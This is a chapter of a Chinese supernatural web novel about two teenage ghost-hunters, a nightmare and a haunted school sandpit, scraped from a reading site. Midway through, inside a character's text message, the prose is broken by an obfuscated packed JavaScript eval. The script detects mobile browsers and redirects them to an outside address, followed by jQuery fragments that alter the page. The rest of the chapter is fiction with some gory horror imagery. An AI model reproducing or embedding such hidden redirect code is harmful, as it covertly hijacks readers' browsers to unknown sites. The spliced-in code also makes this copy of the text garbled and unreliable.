默认冷灰
24号文字
方正启体

2. 梦与沙坑

作者:鸦鸦vo本书字数:K更新时间:
    开学的天气闷,活像叫秋老虎叼走了魂。秦梧热得蔫儿,又因为身为新晋男高的自尊心不愿穿凉鞋,只得眼巴巴看着小鹊趿着凉鞋走过来。


    少年蹲在门口啃粢饭团,糯米粒粘在嘴角。见青梅晃过来,忙用袖口抹嘴,“你来晚了。”他指着教学楼顶的铜钟,"再晚半刻,我两今日都得罚站。"


    “我算准了的。”小鹊把一冰镇矿泉水贴他脸上,冰得少年一激灵,“教导主任训话要半小时,值日生擦黑板需一刻钟,发课本少不得十分钟...这会儿去,正赶上点名。”


    可惜没能如她所愿。当秦梧率先猫腰从后门溜进去时,就见皮笑肉不笑的数学老师。“你俩倒是会挑时辰。” 这位数学名师常年带着三分讥诮,此刻倒像逮着耗子的猫:“要我恭迎年级一二的大驾光临吗?”


    “不敢不敢。”面对鬼怪都不曾屈膝的秦梧,就这样拜服了。他感觉自己像后宫剧里的小太监,点头哈腰谄媚道:“我不过会耍点小聪明,还要指望徐老师多指教。啊哈哈…对吧,小鹊?”


    秦梧笑得脸都快抽筋了,眼神飘向身侧,求助似地冲她使眼色。


    小鹊倒是不慌不忙,笑眯眯地朝讲台一鞠躬:“徐老师息怒嘛,您看那戏台子上的角儿,哪有踩着锣鼓点第一个登场的?”这话不奇特,奇特得是她说话的口音。脆生生的普通话掺着不知从谁那里学来的吴侬软语,甚至还带了戏曲的调子。


    教室后排已经有同学憋不住偷偷笑出声了。


    徐老师翻了个很不斯文的白眼:“伶牙俐齿。”话是这么说,点名册却翻过新页,“还不入座?”


    “好咧~”待秦梧坐好,小鹊在他旁边落座,笑:“我就说会没事吧?”


    秦梧把课本立起来挡住脸,小声道:“你别害我,我还想好好活到期末。”


    小鹊撑着脸看他: “放心啦,我罩你。”


    上午的课程总是漫长的。


    老徐捏着激光笔在投影幕布上画圈,红光扫过小鹊课桌上垒成小山的竞赛题集。“某些同学,”他故意把激光点停在她面前的鬼画符上,“别仗着跳级就搞特殊化。”


    小鹊正往活页本上画画,闻言自动铅笔芯“啪”地折断。秦梧在后排憋笑,腕子一抖,把草稿纸洇出个圆斑。可怜的满分的卷面就这样失去了整洁。


    “一个两个的…秦梧!”老徐的戒尺敲在讲台边,“上来解这道压轴题。”少年慢吞吞起身,在黑板上洋洋洒洒地写了几行精心练就的瘦金体。


    用最困倦的姿态写最超纲的解法。


    小鹊忽然举手:“老师,我的方法更简练。” 她得到许可后蹦上讲台。


    不是吧?还让不让自己耍帅了?秦梧圆了眼睛。


    粉笔头相击迸出火星子,函数图像在两人笔下开枝散叶,渐渐织成张太极八卦图。老徐也从最开始的欣赏,到逐渐失去耐心,最后把保温杯往讲台重重一磕:“你俩当这是奥数夏令营呢?”


    暮色漫过老巷口,铁铲与铁锅磕碰出金玉之声。小鹊抱着袋售货机买的薯片,口中满是嘎吱脆香。


    秦梧推了推她,示意女孩给自己也分一点。小鹊笑着打开袋子…然后一股脑地把剩下的碎渣从豁口通通倒入口中。


    秦梧目瞪口呆。


    秦家小楼卧在树阴里,在斑驳的光影下,远看倒似幅写意画。秦观海蹲在门廊修自行车,听见脚步声头也不抬:“臭小子又带童养媳回来蹭饭?”


    “老家伙积点口德。”秦梧甩开运动鞋,“今儿灶王爷都听不下去,保准让你煮饭夹生。”


    小鹊倒是不羞不恼。这女娃一副心思完全不在这上面的模样:“秦叔叔今日修的这车,铁链响得比铜锣呢,开起来也定利索。”


    她弯腰看那辆老式二八。秦观海这才抬头瞥她一眼,鼻子里哼了声:“这会儿不叫老秦头了?你丫也就嘴皮子利索——上次做饭煮成两斤浆糊,黄二小都不肯添。”


    “可秦梧吃了两碗呢。”小鹊歪头看秦梧,“是不是?”


    “我那是饿得快饿死了!”秦梧脱了鞋,冲进屋,“今天我要主厨!谁都别跟我抢锅铲!”


    秦观海笑得发抖,“小鹊啊,你得盯着点,别让他把拖鞋都炒了。”


    “好嘞!”


    最终,秦梧还是没能炒成菜,因为他爱看的宫斗剧开播了。


    斜窗漏进最后一缕霞光。小鹊正蜷在懒人沙发里啃泡椒凤爪,眼睛直盯着的片头曲:"这祺贵人眼线画歪了,该重描描。"秦梧把可乐往她手边推,闻言也抬头,认可道:“可刚刚的画面还是好的,应当不是同一天拍摄。”


    随着“下来端菜!”的喊声,砂锅盖被蒸汽顶得噗噗跳,莲藕排骨汤里沉着枸杞。


    “这么养生?”秦梧有些嫌弃,青春热血的少年自认与这种萎靡的养生食物不相干。


    “治治某人的阴阳眼。”秦观海从冰箱拎出啤酒,“省得成天见鬼。”


    他的话意有所指。


    随后秦观海把鸡腿夹进小鹊碗里:“林家丫头多吃点,别学某些人瘦得跟旗杆儿似的。”秦梧在桌底踹他老爹的靴子。


    秦观海却毫不在意,边喝酒边哼小曲。


    小鹊倒是乐呵呵地接受了那只鸡腿,听逐渐上头的秦观海开始抱怨工作,说自己像个冤大头:“老子天天对着群青面獠牙的冤大头,活似那阴曹判官批生死簿!这批不打紧,还遇上个齐天大圣来,把他的猴子猴孙的好账赖账都一笔抹了。”


    “那不就跟秦梧一模一样?”小鹊咂着骨头,一本正经地点评,“被我按着头查案,被宫斗剧拿捏,被莲藕汤收服,啧啧,人生真艰。”


    秦梧瞪她:“你再编排我试试。”


    “那你咬我呀。”小鹊冲他龇牙一笑。


    秦梧觉得他不该跟小孩子计较。


    饭桌上热气腾腾,残渣碗里堆起半座山。窗外卖关东煮的小推车的铃声刚熄,远处电视声又响起来了,祺贵人终于扳倒了皇后的表妹,正得意地端着燕窝盅走进镜头。


    “这盅燕窝怕是冰过头了,”小鹊点评,“冒冷气,得重拍。”


    秦梧嘴里塞着藕,含糊着回她:“哪像你,连吃泡椒凤爪都能点评宫廷膳食。”


    小鹊朝他眨眼:“这叫身临其境,侦探的基本修养。”


    “你那点‘修养’,也就能哄哄节目组请你去上吃播。”秦梧撇嘴,心底却又觉得这样也挺好。


    有锅有饭,有人打趣有人踹靴子,有宫斗剧也有泡椒凤爪,哪怕一日三餐中间掺着尸骨与怨气,起码这一刻,他们是活人,是会笑会争的少年人。


    而那些死去的,失去声音的人——他们可以等一等。


    饭后,两人在房间打游戏。“当年娴妃要是会引雷咒...”小鹊咬着鱿鱼丝含糊道,“哪用得着剪头发赌咒。”秦梧偷摸把游戏暂停,摸出手机录她这通歪理。


    到半夜,小鹊窝在折叠床上数窗外的星星。秦梧在床上翻了个身,“晚安,“他嘟囔着,合眼陷入了睡眠。


    ……可那一觉沉得古怪。


    梦中先见着团青雾,雾里浮着宫斗剧的片尾曲,弦乐声被拉成蛛丝,缠住他。


    秦梧还没挣脱,却见小鹊从雾里转出来,欣喜之下正欲开口,却见女娃娃裙摆扫过之处生出朵朵血色花朵,花瓣上却睁着人眼。


    她就这样笑着,虹膜里的鎏金色突然暴涨,眼白处爬出蜈蚣状的符文。


    在他惊恐的目光下,她的脸开始从中间裂开,眼球里长出触须般的血丝,一只眨眼竟分出三重瞳孔。她的声音依然是她,却像从另一个宇宙传来,一字一句都拖着无数个回音,像是上千个“她”在同时发声。


    “你看得见了吗……?”


    她朝他伸出手,指尖瞬间变形,抽长、崩裂,像藤蔓,又像钩爪。骨头在皮肉下不断翻滚,如生物进化图被反复快进。


    秦梧看见无数个重叠的时空——每个时空里的小鹊都生着不同的非人相:有时是头发化作浮浮沉沉的磷火水母,有时是脊椎骨刺破校服长成珊瑚树,枝桠上结满淌着脓血的果实。而她的眼睛无一例外均是那游动的虹色。鎏金色裂解成无数游动的微小人面,每张脸都在用不同语言呢喃。


    看呀,这才是真正的阴阳眼。一个声音告诉他。


    “别……看我……”


    秦梧的喉头有些紧,一点声音也发不出。


    厉鬼形态的小鹊忽然又缩回人形,眼角带点狡黠,像刚偷吃完辣条的样子。她踮起脚尖往他这边跑来,脚步轻快得不似人间。


    “看着我,秦梧,”她说,仿佛只是在闹着玩,“我死了的话,你会哭吗?”


    他想冲过去拉住她,脚却像灌了铅,只能眼睁睁看她在他面前笑着——碎了。


    是的,整个人碎成无数碎片,从头发、眼睛、指尖,一片一片像摔碎的陶瓷娃娃那样裂开,笑容却还挂在唇角。


    秦梧不知自己呐喊了什么,只觉得声音破碎得像撕裂的布。


    然后他猛地睁开眼。房间里昏黄的夜灯还亮着,窗外蟋蟀声此起彼伏。


    小鹊在那张折叠床上睡得不老实,被子踢到一边,一条腿挂出床外。脸还朝着他,睫毛轻颤,嘴角隐隐翘着,像是在做什么甜甜的梦。


    秦梧躺在原地,背脊一片冰凉,手心都是汗。他定定看着她好一会儿。确定那呼吸是真实的、柔软的,才像泄了气一样重新倒回床上。


    “秦梧,”小鹊忽然迷迷糊糊地咕哝了一声,“你看,今天星星好多……”


    “……嗯。”


    时间来到不久后。


    小鹊刚在月考卷上画了只简笔梅花鹿。监考的徐老师踱过她身边,倒吸口气——这丫头提前四十分钟答完卷,又开始洋洋洒洒发挥艺术细胞。


    秦梧咬着笔杆斜睨那抹跳脱身影。他正卡在最后道几何题。


    他们总这般轮流登顶。秦梧爱极了解题时那种青橄榄似的涩,以及解完那喷涌而出的成就感,小鹊却把学习当跳房子游戏。


    用徐老师的话来讲,这两个孩子解题,一个像绣娘穿针,一个似庖丁解牛。


    用同学的话来讲,这两人一个疯了,一个卷得跟胶带一样。


    “秦梧文科强,小鹊理科猛,两人放一块儿就跟五虎断门刀似的。”有同桌私下评价道。


    “错,他俩是双核处理器,内卷发动机。”


    “我看是秦梧被小鹊卷得没脾气。”有人不服,“昨天物理课上,小鹊问他电磁波传播速度怎么算,他咕哝一句‘先别说话,我得先找颗子弹崩自己冷静一下’。”


    写完卷子,走出教室时,两人撞上汤嘉维。


    “喂,你俩听说没,隔壁有所中学沙坑出事了。”汤嘉维语气活像在念悬疑小说,“说是有学生在练习立定跳远时,脚刚落地就给吞下去了,整个人咕噜一下没影儿了!”


    小鹊淡定道:“可能是考前焦虑太严重,想钻地缝。”


    “还是你会找借口。”汤嘉维一脸钦佩,“我宁愿相信沙坑成精。”


    秦梧却只是挠了挠后脑勺:“别信这种鬼话,沙子都能吞人,那蚊香灰该上天了。”


    放学的时间点,秦梧就同往常一样路过那所传闻中的中学。


    小鹊今天值日,难得不在。


    这时候,天上掉下来个汤嘉维,啰里啰唆地念叨着什么“作业借兄弟抄抄。” 这人简直像块烤糊的牛皮糖。“第三大题步骤忒玄乎,老班准是从黄冈偷的题......”


    秦梧嫌他烦,只有一搭没一搭地回复,直到——


    “你知道这学校以前还有个怪谈吗?说是有个长得很帅的男老师因为遭人嫉妒而被杀害。”


    云絮正巧掠过西天,将教学楼的影子拉成细长的灰绸带,恰恰裹住操场角的沙坑。汤嘉维突然压低嗓子:“当时尸体找了很久都没知道,大概过了两三年才在这沙坑地下挖到,不过早就烂成一堆白骨了!”


    秦梧不理他。


    “哎哟你就装吧你。”汤嘉维不依不饶,“我知道你那一套,越装没兴趣,晚上你跑得比谁都快。”


    “没有的事。”秦梧漫不经心地翻了页书,声音懒洋洋,“今晚我得给黄二小洗澡。”


    “不是说上周洗过了吗?”


    “哦。”他想都没想地回,“那要捉跳蚤。”


    汤嘉维还在喋喋不休。


    秦梧摩挲着手中书脊的毛边,忽觉指腹发黏——不知何时沁出的冷汗,竟把铅字都洇糊了。汤嘉维还在比划腐尸如何生蛆,他却瞧见沙坑腾起细密的黑雾,如蛛网缠住秋千铁链,缠得锈迹里渗出暗红的泪。


    看来这故事,大概率不是谣言了…


    小鹊看来也知道了,因为她不久后给他发消息:【今晚十一点,涉案学校后门汇合。】


    秦梧秒回:【


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15835165|175640||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    凌晨两点。最近老家伙抓得严。】他将手机调为静音,收进口袋。


    夜深后,他会悄悄走。他不能带上她。


    自那天晚上后,秦梧又做过梦。梦中,穿校服的自己正举着手机录像。镜头里的小鹊回头一笑,虹膜炸成万花筒,每个棱面都映着不同死状——溺亡的浮肿、火烧的焦黑、吊颈的青紫。


    他当时醒了,全身冷汗。


    有些梦说不清是预兆,还是诅咒。


    秦梧只知道,像她那样的人,不该跟着自己往深水里走。


    十点五十。帆布鞋底还沾着半片被碾成泥的花瓣,秦梧准时来到学校。


    远处传来谁家孩子的哭声,混着黄二小的咽,倒颇有些瘆人。沙坑在月光下泛着惨白,怨气凝成实质的藤蔓,正往外爬。


    在艰难地把自家那只大肥狗推进狗洞后,他也自己钻了进去。


    “你这身膘该减了。”秦梧屈指弹狗耳朵。黄二小忽然支棱起耳朵,油亮的皮毛下肌肉绷成弦,冲着沙坑方向龇出獠牙。少年忙箍住它的嘴筒子,惊呼:“小心把保安招来!”


    在安抚完自家狗后,秦梧吞咽着口水,往沙坑底一看。夜晚难看清事物,此时的沙坑更显得像无底洞,若是凑近了还能感受到呼啸而过的风,恐深度早已不止五六米。


    在告诉黄二小“要是我没有上来,你就替我去找那老家伙,叫他过来救我后”,他说罢便翻身下了沙坑。


    黄二小的呜咽卡在喉咙里。沙坑壁触手湿冷,如吸饱了月光。越往下,风声越似呜咽,卷着沙粒往领口钻。


    抬头望,洞口缩成枚昏黄的铜钱眼,再缩小,缩小…直到不见。


    月亮还没爬到正中,正好挂在操场旗杆的铁绳旁边,旗绳也不知怎么的动了一下,发出“当”的一响,像是哪家老钟敲漏了点儿。


    已经撒了六泡尿的黄二小迟疑了一瞬,抬头望了望月,又回头看了看沙坑,像是在下定决心。“嗷呜”一声后,它终于蹬开腿,朝着校门口一路小跑。


    张大爷的搪瓷缸刚沏上碧螺春,忽见团影子掠过栅栏。“哪来的野狗!”他骂声未落,黄二小已滚过减速带,肚皮蹭着柏油路,蹭出串火星子。


    它原本就是条肉多的狗,跑起来不利索,肚皮一晃一晃。有人见了,还以为哪家丢了烧鸡。


    它知道回家的路。


    “喂!”有人在街角喊,“你家那狗跑疯啦!”


    到门口,黄二小果然疯了似的扒拉门,刨门槛,一边嘴里含糊叫唤。


    刚寻找秦梧无果的秦观海不耐烦地开门:“来了,来了,别那么激动!”可见到的不是自己那没大没小的儿子,也不是他常说“哪哪都跑”的那小丫头,而是几近发狂的大金毛,他有种不祥的预感。


    “糟了!”


    直到二十七分钟后,街口才出现了小鹊的身影。


    她穿着那件捉鬼服,像是刚从水雾里走出来的,头发还有点潮,脚步带点蹦。


    “咦?”她嘟囔一句,“没来接我啊。”


    屋里没人应她。


    “人呢?”她眨了眨眼,拧开门进屋,到厨房想找点酸黄瓜泡饭吃,结果看见秦观海的外套还挂着,鞋却没了。


    “喂?秦梧?”


    “老秦头?”


    她终于意识到不对劲了。


    外头风正急,远处的槐树叶子沙沙作响。她望了一眼天,月已经偏了。


    这下真是晚了,一想就知道出什么事了。小鹊咬了咬唇角,站起身,往校门口一路追去。


    她走得快,到操场边时,正撞上一车急救车亮着灯,停在跑道边上。有人在搬担架。秦梧躺在上头,脸朝上,眼睛紧闭。他肚子上扎着什么——


    是根白骨。


    雪白的,尖锐而细长,插进去的位置极刁钻,从右肋斜斜透过。校服洇开的暗红像朵将谢的夹竹桃。小鹊瞧见秦梧喉结动了动,沙粒混着血沫子从嘴角溢出来,在月光里凝成颗红珠。


    护士手指压在他腕上,袖口红杠杠的电子表滴答走着:“还有脉,快上车。”


    旗杆发出一声轻响,“当——”风从四面八方围上来,像是有什么事从地底涌出来,伸出一根手指,又被什么重重压回去。小鹊站在操场边上不动了。


    “哟。”她咕哝了一句,舌尖顶出个气泡音,“这不是挺精神的吗?还出特效了。”没有哭,也没扑过去大喊大叫,只是双手抱着胳膊,站在那儿,像是个等着发作的孩子。


    “你来干啥。”她听见有人说。


    秦观海走过来拉住她的后脖子,像提溜只炸毛的狸花猫:“甭杵这儿,挡人抬伤员。”


    “我说我路过你信不信?”


    秦观海瞥她一眼,半真半假地骂:“你给我路过去,别在这添堵。”


    “呦,老秦头,想撵我?”她扬了扬下巴,声音还是软的,眼神却亮,“那你可得请我喝糖水,我才走。”


    秦观海嘴角一抽:“你个丫头,哪壶不开提哪壶,这会儿还有心思跟我撒泼?”


    “哼,提前说好,下一场我得跟着去。”


    “你跟着去干嘛?去当第二个倒霉蛋?你那水平,顶多就给人纸糊个符,遇事连头都低不下去,白送。”


    “你懂什么!”她跳起来拍他胳膊一下,“再说,我不跟着去,那不就出这种事了?”


    “你说得好像你去了就能变成医生似的。”秦观海哼了一声,语气却松下来,“别瞎想了,人还活着。”


    “我知道。”她低头,脚尖在地上蹭来蹭去,语气闷闷的,“我一看他眼睛还在动,就知道他活着。”


    “他下回要是还不听我话,我就——我就每天念给他听我小时候念错的咒。”


    秦观海噗一笑:“你那咒,念给鬼听鬼都笑。”


    “你笑个屁!”她回嘴,“我那是故意念的错!”


    “是是是,您最聪明。”秦观海伸手揉她脑袋,“我看你脑袋是水泡着的,晚上没化完形就出来乱跑?”


    她啪地拍开他的手:“你才没化完形,你全家都没化完形。”


    救护车轰地一声发动了,校医和老师上了车,秦梧的担架被推进去。


    小鹊望着那背影,忽然也不闹了。“他要是再出事,”她轻声说,“我就不给他带饭了。”


    秦观海没说话,只低低笑了声:“你带的饭,他还真就舍不得不吃。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)